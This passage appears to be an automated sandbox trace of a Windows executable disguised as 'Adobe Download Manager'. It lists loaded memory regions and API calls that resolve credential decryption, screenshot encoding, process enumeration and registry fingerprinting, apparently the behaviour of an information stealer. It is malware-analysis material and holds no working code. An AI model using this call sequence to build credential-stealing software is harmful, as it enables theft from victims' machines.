"\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 2261 start_va = 0x74820000 end_va = 0x748b1fff monitored = 0 entry_point = 0x74858cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2262 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 2263 start_va = 0x75950000 end_va = 0x75a3afff monitored = 0 entry_point = 0x7598d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2264 start_va = 0x800000 end_va = 0x987fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 2265 start_va = 0x1020000 end_va = 0x1049fff monitored = 0 entry_point = 0x1025680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2266 start_va = 0x1060000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 2267 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2271 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2272 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2273 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 2274 start_va = 0x1160000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001160000" filename = "" Region: id = 2275 start_va = 0x2560000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 2277 start_va = 0x740d0000 end_va = 0x74247fff monitored = 0 entry_point = 0x74128a90 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2278 start_va = 0x75810000 end_va = 0x7581dfff monitored = 0 entry_point = 0x75815410 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2279 start_va = 0x10010000 end_va = 0x10036fff monitored = 0 entry_point = 0x10011c61 region_type = mapped_file name = "crtdll.dll" filename = "\\Windows\\SysWOW64\\crtdll.dll" (normalized: "c:\\windows\\syswow64\\crtdll.dll") Region: id = 2280 start_va = 0x6ab40000 end_va = 0x6acaafff monitored = 0 entry_point = 0x6abae360 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\gdiplus.dll") Region: id = 2281 start_va = 0x75ca0000 end_va = 0x7709efff monitored = 0 entry_point = 0x75e5b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2282 start_va = 0x758c0000 end_va = 0x758f6fff monitored = 0 entry_point = 0x758c3b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 2283 start_va = 0x74f10000 end_va = 0x75408fff monitored = 0 entry_point = 0x75117610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 2284 start_va = 0x74e30000 end_va = 0x74e74fff monitored = 0 entry_point = 0x74e4de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2285 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 2286 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 2287 start_va = 0x74d60000 end_va = 0x74da3fff monitored = 0 entry_point = 0x74d67410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 2288 start_va = 0x74f00000 end_va = 0x74f0efff monitored = 0 entry_point = 0x74f02e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2289 start_va = 0x2560000 end_va = 0x265ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 2290 start_va = 0x26f0000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 2291 start_va = 0x715c0000 end_va = 0x717ccfff monitored = 0 entry_point = 0x716aacb0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2292 start_va = 0x73b30000 end_va = 0x73dfafff monitored = 0 entry_point = 0x73d6c4c0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2293 start_va = 0x2700000 end_va = 0x2a36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2294 start_va = 0x1020000 end_va = 0x1020fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001020000" filename = "" Region: id = 2296 start_va = 0x1030000 end_va = 0x1030fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "counters.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 2297 start_va = 0x74db0000 end_va = 0x74e0efff monitored = 0 entry_point = 0x74db4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2298 start_va = 0x71570000 end_va = 0x71581fff monitored = 0 entry_point = 0x71574510 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 2299 start_va = 0x71540000 end_va = 0x7156efff monitored = 0 entry_point = 0x7154bb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2300 start_va = 0x714a0000 end_va = 0x7153afff monitored = 0 entry_point = 0x714df7e0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 2301 start_va = 0x1f0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2302 start_va = 0x2a40000 end_va = 0x2b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 2304 start_va = 0x71450000 end_va = 0x7149efff monitored = 0 entry_point = 0x7145d850 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 2306 start_va = 0x71440000 end_va = 0x71447fff monitored = 0 entry_point = 0x71441fc0 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2307 start_va = 0x747b0000 end_va = 0x747b6fff monitored = 0 entry_point = 0x747b1e10 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2308 start_va = 0x230000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2309 start_va = 0x2b40000 end_va = 0x2c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 2332 start_va = 0x270000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2333 start_va = 0x1040000 end_va = 0x1040fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001040000" filename = "" Region: id = 2334 start_va = 0x2c40000 end_va = 0x303ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c40000" filename = "" Region: id = 2335 start_va = 0x75700000 end_va = 0x75783fff monitored = 0 entry_point = 0x75726220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2496 start_va = 0x5c0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 2497 start_va = 0x3040000 end_va = 0x343ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003040000" filename = "" Region: id = 2502 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001050000" filename = "" Region: id = 2509 start_va = 0x70a80000 end_va = 0x70b03fff monitored = 0 entry_point = 0x70aa6530 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2510 start_va = 0x717d0000 end_va = 0x7194dfff monitored = 0 entry_point = 0x7184c630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2511 start_va = 0x2660000 end_va = 0x2660fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002660000" filename = "" Region: id = 2539 start_va = 0xb20000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 2540 start_va = 0x3440000 end_va = 0x353ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003440000" filename = "" Region: id = 2541 start_va = 0x70630000 end_va = 0x70637fff monitored = 0 entry_point = 0x70631920 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 2550 start_va = 0x704f0000 end_va = 0x704f7fff monitored = 0 entry_point = 0x704f1740 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 2551 start_va = 0x6ab20000 end_va = 0x6ab31fff monitored = 0 entry_point = 0x6ab22960 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 2552 start_va = 0x2670000 end_va = 0x2673fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 2559 start_va = 0x6ab00000 end_va = 0x6ab15fff monitored = 0 entry_point = 0x6ab03130 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 2560 start_va = 0x6aae0000 end_va = 0x6aaf3fff monitored = 0 entry_point = 0x6aae5a40 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 2561 start_va = 0x6aad0000 end_va = 0x6aadafff monitored = 0 entry_point = 0x6aad1950 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Thread: id = 17 os_tid = 0x127c [0168.350] GetModuleHandleA (lpModuleName=0x0) returned 0x1000000 [0168.355] GetKeyboardType (nTypeFlag=0) returned 7 [0168.356] GetKeyboardType (nTypeFlag=1) returned 0 [0168.362] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe\"" [0168.362] GetStartupInfoA (in: lpStartupInfo=0xfffba8 | out: lpStartupInfo=0xfffba8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0168.362] GetVersion () returned 0x295a000a [0168.362] GetVersion () returned 0x295a000a [0168.362] GetCurrentThreadId () returned 0x127c [0168.366] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x740d0000 [0168.380] GetProcAddress (hModule=0x740d0000, lpProcName="CryptUnprotectData") returned 0x740f3140 [0168.384] LoadLibraryA (lpLibFileName="crtdll.dll") returned 0x10010000 [0168.539] GetProcAddress (hModule=0x10010000, lpProcName="wcscmp") returned 0x1002032a [0168.539] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x6ab40000 [0168.554] GetProcAddress (hModule=0x6ab40000, lpProcName="GdiplusStartup") returned 0x6abaab50 [0168.554] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x6ab40000 [0168.555] GetProcAddress (hModule=0x6ab40000, lpProcName="GdiplusShutdown") returned 0x6abaa7c0 [0168.555] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x6ab40000 [0168.555] GetProcAddress (hModule=0x6ab40000, lpProcName="GdipCreateBitmapFromHBITMAP") returned 0x6ab85b70 [0168.555] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x6ab40000 [0168.555] GetProcAddress (hModule=0x6ab40000, lpProcName="GdipGetImageEncodersSize") returned 0x6ab9f520 [0168.555] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x6ab40000 [0168.555] GetProcAddress (hModule=0x6ab40000, lpProcName="GdipGetImageEncoders") returned 0x6ab9f380 [0168.555] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x6ab40000 [0168.556] GetProcAddress (hModule=0x6ab40000, lpProcName="GdipDisposeImage") returned 0x6aba91c0 [0168.556] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x6ab40000 [0168.556] GetProcAddress (hModule=0x6ab40000, lpProcName="GdipSaveImageToStream") returned 0x6aba4bd0 [0168.556] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75950000 [0168.556] GetProcAddress (hModule=0x75950000, lpProcName="CreateStreamOnHGlobal") returned 0x754d1370 [0168.556] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75950000 [0168.556] GetProcAddress (hModule=0x75950000, lpProcName="GetHGlobalFromStream") returned 0x754d1a60 [0168.559] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x770a0000 [0168.559] GetProcAddress (hModule=0x770a0000, lpProcName="ExpandEnvironmentStringsW") returned 0x770bcd50 [0168.559] GetProcAddress (hModule=0x770a0000, lpProcName="GetComputerNameW") returned 0x770c46a0 [0168.559] GetProcAddress (hModule=0x770a0000, lpProcName="GlobalMemoryStatus") returned 0x770b8e00 [0168.559] GetProcAddress (hModule=0x770a0000, lpProcName="CreateFileW") returned 0x770c6890 [0168.559] GetProcAddress (hModule=0x770a0000, lpProcName="GetFileSize") returned 0x770c6a70 [0168.560] GetProcAddress (hModule=0x770a0000, lpProcName="CloseHandle") returned 0x770c6630 [0168.560] GetProcAddress (hModule=0x770a0000, lpProcName="ReadFile") returned 0x770c6bb0 [0168.560] GetProcAddress (hModule=0x770a0000, lpProcName="GetFileAttributesW") returned 0x770c6a50 [0168.560] GetProcAddress (hModule=0x770a0000, lpProcName="CreateMutexA") returned 0x770c66c0 [0168.560] GetProcAddress (hModule=0x770a0000, lpProcName="ReleaseMutex") returned 0x770c67a0 [0168.560] GetProcAddress (hModule=0x770a0000, lpProcName="GetLastError") returned 0x770b3870 [0168.560] GetProcAddress (hModule=0x770a0000, lpProcName="GetCurrentDirectoryW") returned 0x770ba9a0 [0168.560] GetProcAddress (hModule=0x770a0000, lpProcName="SetEnvironmentVariableW") returned 0x770be9e0 [0168.561] GetProcAddress (hModule=0x770a0000, lpProcName="SetCurrentDirectoryW") returned 0x770bfb20 [0168.561] GetProcAddress (hModule=0x770a0000, lpProcName="FindFirstFileW") returned 0x770c6960 [0168.561] GetProcAddress (hModule=0x770a0000, lpProcName="FindNextFileW") returned 0x770c69a0 [0168.561] GetProcAddress (hModule=0x770a0000, lpProcName="LocalFree") returned 0x770b79a0 [0168.561] GetProcAddress (hModule=0x770a0000, lpProcName="GetTickCount") returned 0x770c5eb0 [0168.561] GetProcAddress (hModule=0x770a0000, lpProcName="CopyFileW") returned 0x770c6ec0 [0168.561] GetProcAddress (hModule=0x770a0000, lpProcName="FindClose") returned 0x770c68e0 [0168.561] GetProcAddress (hModule=0x770a0000, lpProcName="GlobalMemoryStatusEx") returned 0x770bafe0 [0168.561] GetProcAddress (hModule=0x770a0000, lpProcName="CreateToolhelp32Snapshot") returned 0x770c7b50 [0168.561] GetProcAddress (hModule=0x770a0000, lpProcName="Process32FirstW") returned 0x770bf5a0 [0168.562] GetProcAddress (hModule=0x770a0000, lpProcName="Process32NextW") returned 0x770bd290 [0168.562] GetProcAddress (hModule=0x770a0000, lpProcName="GetModuleFileNameW") returned 0x770b9b00 [0168.562] GetProcAddress (hModule=0x770a0000, lpProcName="SetDllDirectoryW") returned 0x770c5070 [0168.562] GetProcAddress (hModule=0x770a0000, lpProcName="GetLocaleInfoA") returned 0x770be7b0 [0168.562] GetProcAddress (hModule=0x770a0000, lpProcName="GetLocalTime") returned 0x770b9be0 [0168.562] GetProcAddress (hModule=0x770a0000, lpProcName="GetTimeZoneInformation") returned 0x770bacc0 [0168.562] GetProcAddress (hModule=0x770a0000, lpProcName="RemoveDirectoryW") returned 0x770c6bf0 [0168.562] GetProcAddress (hModule=0x770a0000, lpProcName="DeleteFileW") returned 0x770c68c0 [0168.562] GetProcAddress (hModule=0x770a0000, lpProcName="GetLogicalDriveStringsA") returned 0x770de790 [0168.562] GetProcAddress (hModule=0x770a0000, lpProcName="GetDriveTypeA") returned 0x770c6a00 [0168.563] GetProcAddress (hModule=0x770a0000, lpProcName="CreateProcessW") returned 0x770bb000 [0168.611] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75a50000 [0168.612] GetProcAddress (hModule=0x75a50000, lpProcName="GetUserNameW") returned 0x75a71030 [0168.612] GetProcAddress (hModule=0x75a50000, lpProcName="RegCreateKeyExW") returned 0x75a6fa20 [0168.612] GetProcAddress (hModule=0x75a50000, lpProcName="RegQueryValueExW") returned 0x75a6f330 [0168.612] GetProcAddress (hModule=0x75a50000, lpProcName="RegCloseKey") returned 0x75a6f620 [0168.612] GetProcAddress (hModule=0x75a50000, lpProcName="RegOpenKeyExW") returned 0x75a6f350 [0168.612] GetProcAddress (hModule=0x75a50000, lpProcName="AllocateAndInitializeSid") returned 0x75a6f660 [0168.612] GetProcAddress (hModule=0x75a50000, lpProcName="LookupAccountSidA") returned 0x75a84460 [0168.612] GetProcAddress (hModule=0x75a50000, lpProcName="CreateProcessAsUserW") returned 0x75a72c10 [0168.613] GetProcAddress (hModule=0x75a50000, lpProcName="CheckTokenMembership") returned 0x75a6fb50 [0168.613] GetProcAddress (hModule=0x75a50000, lpProcName="RegOpenKeyW") returned 0x75a6faa0 [0168.613] GetProcAddress (hModule=0x75a50000, lpProcName="RegEnumKeyW") returned 0x75a6f750 [0168.613] GetProcAddress (hModule=0x75a50000, lpProcName="RegEnumValueW") returned 0x75a6f680 [0168.613] GetProcAddress (hModule=0x75a50000, lpProcName="CryptAcquireContextA") returned 0x75a70630 [0168.613] GetProcAddress (hModule=0x75a50000, lpProcName="CryptCreateHash") returned 0x75a6fa00 [0168.613] GetProcAddress (hModule=0x75a50000, lpProcName="CryptHashData") returned 0x75a6fb10 [0168.613] GetProcAddress (hModule=0x75a50000, lpProcName="CryptGetHashParam") returned 0x75a6f7d0 [0168.613] GetProcAddress (hModule=0x75a50000, lpProcName="CryptDestroyHash") returned 0x75a702a0 [0168.613] GetProcAddress (hModule=0x75a50000, lpProcName="CryptReleaseContext") returned 0x75a70650 [0168.614] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74c10000 [0168.614] GetProcAddress (hModule=0x74c10000, lpProcName="EnumDisplayDevicesW") returned 0x74c2fa50 [0168.614] GetProcAddress (hModule=0x74c10000, lpProcName="wvsprintfA") returned 0x74c404c0 [0168.614] GetProcAddress (hModule=0x74c10000, lpProcName="GetKeyboardLayoutList") returned 0x74c48e70 [0168.614] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75ca0000 [0168.684] GetProcAddress (hModule=0x75ca0000, lpProcName="ShellExecuteExW") returned 0x75e3e690 [0168.685] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77220000 [0168.685] GetProcAddress (hModule=0x77220000, lpProcName="RtlComputeCrc32") returned 0x772ed9b0 [0168.689] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x1071f10 [0168.689] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x2560000 [0168.690] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x1072f10 [0168.690] VirtualAlloc (lpAddress=0x2560000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2560000 [0168.691] AllocateAndInitializeSid (in: pIdentifierAuthority=0xfff96d, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x222, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xfff968 | out: pSid=0xfff968*=0x106c1a8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0168.691] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x106c1a8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xfff964 | out: IsMember=0xfff964) returned 1 [0168.691] AllocateAndInitializeSid (in: pIdentifierAuthority=0xfff96d, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x221, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xfff968 | out: pSid=0xfff968*=0x106c220*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0168.691] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x106c220*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xfff964 | out: IsMember=0xfff964) returned 1 [0168.691] AllocateAndInitializeSid (in: pIdentifierAuthority=0xfff96d, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xfff968 | out: pSid=0xfff968*=0x106c1f0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0168.691] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x106c1f0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xfff964 | out: IsMember=0xfff964) returned 1 [0168.692] AllocateAndInitializeSid (in: pIdentifierAuthority=0xfff96a, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xfff95c | out: pSid=0xfff95c*=0x106c460*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0168.693] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x106c460*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x0, cchName=0xfff964, ReferencedDomainName=0x0, cchReferencedDomainName=0xfff960, peUse=0xfff958 | out: Name=0x0, cchName=0xfff964, ReferencedDomainName=0x0, cchReferencedDomainName=0xfff960, peUse=0xfff958) returned 0 [0168.711] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x106c460*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), IsMember=0xfff954 | out: IsMember=0xfff954) returned 1 [0168.715] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0xfff8e8 | out: phkResult=0xfff8e8*=0x188) returned 0x0 [0168.715] RegQueryValueExW (in: hKey=0x188, lpValueName="MachineGuid", lpReserved=0x0, lpType=0xfff8f0, lpData=0xfff6e8, lpcbData=0xfff8ec*=0xfe | out: lpType=0xfff8f0*=0x1, lpData="03845cb8-7441-4a2f-8c0f-c90408af5778", lpcbData=0xfff8ec*=0x4a) returned 0x0 [0168.715] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="03845cb8-7441-4a2f-8c0f-c90408af5778", cchWideChar=36, lpMultiByteStr=0xffe914, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="03845cb8-7441-4a2f-8c0f-c90408af5778Äëÿ", lpUsedDefaultChar=0x0) returned 36 [0168.716] SysReAllocStringLen (in: pbstr=0xfff95c*=0x0, psz="?", len=0x1 | out: pbstr=0xfff95c*="?") returned 1 [0168.716] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0xfff718, lpdwDisposition=0x0 | out: phkResult=0xfff718*=0x184, lpdwDisposition=0x0) returned 0x0 [0168.716] RegQueryValueExW (in: hKey=0x184, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0xfff720, lpcbData=0xfff71c*=0x100 | out: lpType=0x0, lpData=0xfff720*=0x57, lpcbData=0xfff71c*=0x1e) returned 0x0 [0168.716] RegCloseKey (hKey=0x184) returned 0x0 [0168.716] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 10 Pro", cchWideChar=14, lpMultiByteStr=0xffe914, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 10 